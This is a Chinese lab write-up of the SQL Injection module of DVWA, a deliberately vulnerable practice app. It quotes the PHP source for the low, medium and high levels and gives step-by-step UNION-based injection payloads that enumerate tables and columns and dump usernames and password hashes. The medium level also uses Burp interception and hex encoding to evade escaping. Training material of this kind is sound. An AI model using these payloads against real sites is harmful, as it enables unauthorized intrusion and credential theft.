DWVA-关于SQL注入的漏洞详解<SQL Injection>

本文为漏洞靶场DWVA第七个模块SQL Injection详细解答

low等级

代码如下:

1  <?php 2  3 if( isset( $_REQUEST[ 'Submit' ] ) ) { 4     // Get input 5     $id = $_REQUEST[ 'id' ]; 6  7     // Check database 8     $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 9     $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );10 11     // Get results12     while( $row = mysqli_fetch_assoc( $result ) ) {13         // Get values14         $first = $row["first_name"];15         $last  = $row["last_name"];16 17         // Feedback for end user18         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";19     }20 21     mysqli_close($GLOBALS["___mysqli_ston"]);22 }23 24 ?>

如上图,代码并没有对输入进行过滤,存在sql注入漏洞

下面开始攻击:

1.判断是否存在注入

输入   1                         ---返回正确

输入   1’                        ---返回错误

输入   1 and 1=1         ---返回正确

输入   1 and 1=2         ---返回正确

输入   1‘ and ’1‘=’1      ---返回正确

输入   1‘ and ’1‘=’1      ---返回正确

输入   1‘ and ’1‘=’2      ---返回错误(到了这里得出应该存在字符型注入,下面继续验证)

输入   1‘ or ’1‘=’1         ---返回正确(返回很多结果,证明存在字符型注入)

2.猜解查询SQL语句中的字段数

输入   1‘ or 1=1 order by 1#     ---返回正确

输入   1‘ or 1=1 order by 2#      ---返回正确

输入   1‘ or 1=1 order by 3#      ---返回错误(返回结果---Unknown column '3' in 'order clause'       证明字段数为2)

3.确定字段顺序

输入   1' or 1=1 union select 1,2#    ---返回两组结果(证明执行的sql查询语句为:select Frist name,Surname from 表 where ID='id')

4.确定数据库

输入   1' or 1=1 union select database(),2#    ---确定数据库为  dwva

5.猜解表名

输入  1' or 1=1 union select 1,table_name from information_schema.tables where table_schema='dvwa' #        ---确定表名为 guestbook 和 users

6.猜解列名

输入  1' or 1=1 union select 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users' #      ---爆出8个列名user_id,first_name,last_name,user,password,avatar,last_login,failed_login

7.猜解数据名

输入  1' or 1=1 union select 1,concat(user,'-',password) from users #       ---爆出所有数据

medium

代码如下:

1 <?php 2  3 if( isset( $_POST[ 'Submit' ] ) ) { 4     // Get input 5     $id = $_POST[ 'id' ]; 6  7     $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); 8  9     $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";10     $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );11 12     // Get results13     while( $row = mysqli_fetch_assoc( $result ) ) {14         // Display values15         $first = $row["first_name"];16         $last  = $row["last_name"];17 18         // Feedback for end user19         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";20     }21 22 }23 24 // This is used later on in the index.php page25 // Setting it here so we can close the database connection in here like in the rest of the source scripts26 $query  = "SELECT COUNT(*) FROM users;";27 $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );28 $number_of_rows = mysqli_fetch_row( $result )[0];29 30 mysqli_close($GLOBALS["___mysqli_ston"]);31 ?>

中等难度中对特殊字符进行了转义,并且将输入框改为下拉菜单,防止注入。

我们可以通过burpsuit抓包后修改提交数据来进行恶意注入。

下面开始攻击:

1.判断注入类型

选择1,提交,抓包后更改为 (此操作后续简写为抓包)

1‘ and 1=1                  ---返回错误

1 and 1=1                  ---返回正常(说明注入类型为数字型注入)

2.判断字段数

抓包

1 order by 1#            ---返回正常

1 order by 2#            ---返回正常

1 order by 3#            ---返回错误(字段数为2)

3.判断字段顺序

抓包

1 union select 1,2#         ---返回正常

4.猜解数据库

抓包

1 union select 1,database()#    ---成功爆出数据库 dvwa

5.猜解表名

抓包

1 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#       ---返回错误(此处的错误是由于存在字符 ‘ ,可以转换成16进制然后提交)

1 union select 1,table_name from information_schema.tables where table_schema=0x276476776127#        ---返回正常(只能爆出admin表)

1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#        ---正常爆出(这里和上一句的区别在于转换16进制的时候,上一句转的是  ‘dvwa’  ,这一句转的是  dvwa  ,转换的时候没有加‘,需要注意!)

也可以这样

1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    ---爆出表名guestbook,users

6.猜解列名

抓包

1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 #     ---爆出列名

7.猜解数据名

抓包

1 union select concat(user),concat(password) from users#      ---爆出所有数据名

high

代码如下:

1 <?php 2  3 if( isset( $_SESSION [ 'id' ] ) ) { 4     // Get input 5     $id = $_SESSION[ 'id' ]; 6  7     // Check database 8     $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 9     $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );10 11     // Get results12     while( $row = mysqli_fetch_assoc( $result ) ) {13         // Get values14         $first = $row["first_name"];15         $last  = $row["last_name"];16 17         // Feedback for end user18         echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";19     }20 21     ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);        22 }23 24 ?>

high级别对提交参数加了一个  limit 1 ,依次来控制输出参数为一个。

此处可以利用low中的注入破解,因为注入过程中用到了#,将后面的语句注释掉了。

1.判断注入类型

1' or '1'='1      ---字符注入

2.判断字段数

1' or 1=1 order by 2#      ---返回正确

1' or 1=1 order by 3#      ---返回错误

3.判断字段顺序

1‘ or 1=1 union select 1.2#    ---返回正常

4.猜解数据库

1‘ or 1=1 union select 1,database()#    ---爆出数据库名

5.猜解表名

1'  or 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #    ---爆出表名

6.猜解列名

1' or 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #       ----爆出列名

7.爆出数据

1' or 1=1 union select group_concat(user),group_concat(password) from users #            ---爆出数据

(0)

相关推荐

  • 部分sql注入总结

    前言 本人ctf选手一名,在最近做练习时遇到了一些sql注入的题目,但是sql注入一直是我的弱项之一,所以写一篇总结记录一下最近学到的一些sql注入漏洞的利用. 可回显注入 联合注入 在可以联合查询的 ...

  • 常用SQL语句分享

    前言: 日常工作或学习过程中,我们可能会经常用到某些SQL,建议大家多多整理记录下这些常用的SQL,这样后续用到会方便很多.笔者在工作及学习过程中也整理了下个人常用的SQL,现在分享给你!可能有些SQ ...

  • MySQL查询某个数据库某个表的字段

    MySQL查询某个数据库某个表的字段

  • mysql数据库中利用GROUP

    mysql数据库中利用GROUP_CONCAT)把查询的结果列合并分组显示 效果图 在数据库中group by 一列查询出若干行数据,sql如下: select * from table group ...

  • 【转】ecshop后台语言项执行漏洞详解

    该漏洞需要能登录ecshop后台权限,简单修改下语言项目,即可在网站植入木马后门. 以下是详细分析 1.登陆到ecshop台后,选择模板管理,语言项编辑,搜索用户信息 为什么要搜索用户该漏洞需要能登录 ...

  • (2) Java SQL框架(java.sql.*)中常用接口详解

    Driver接口:定义了一个驱动程序接口,每一个数据库的JDBC driver都应该实现这个接口,用于访问对应的数据库.比如MySQL的driver为com.mysql.jdbc.Driver.Jav ...

  • Linux sudo权限绕过漏洞详解

    最近大热的bug时间,就是Linux sudo权限绕过漏洞CVE-2019-14287事件,对此,我们做了一些研究.虽然各大平台已经把核心的东西晒出来了,但是,因为目前没有说的特别完整的,所以,笔者研 ...

  • CPU漏洞详解

    CPU漏洞详解

  • 一条 sql 的执行过程详解

    重磅干货,第一时间送达 写操作执行过程 如果这条sql是写操作(insert.update.delete),那么大致的过程如下,其中引擎层是属于 InnoDB 存储引擎的,因为InnoDB 是默认的存 ...

  • Exec msdb.dbo.sp_send_dbmail 参数详解(SQL Server 存储过程发邮件)

    转载oriency755 发布于2012-12-04 11:34:45 阅读数 6870 收藏   sp_send_dbmail [ [ @profile_name = ] 'profile_name ...

  • 修复Ecshop密码找回功能漏洞详解

    Ecshop提供了密码找回功能,但是整个密码找回流程中存在一些设计上的安全隐患, Ecshop程序使用了MD5不可逆加密算法,但是计算密文的生成元素都有可以很轻易地被黑客拿到 /* if (md5($ ...

  • SQL注入详解

    SQL注入详解 一:什么是sql注入 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库. 二:S ...

  • SQL之CASE WHEN用法详解

    简单CASE WHEN函数:CASE SCORE WHEN 'A' THEN '优' ELSE '不及格' ENDCASE SCORE WHEN 'B' THEN '良' ELSE '不及格' END ...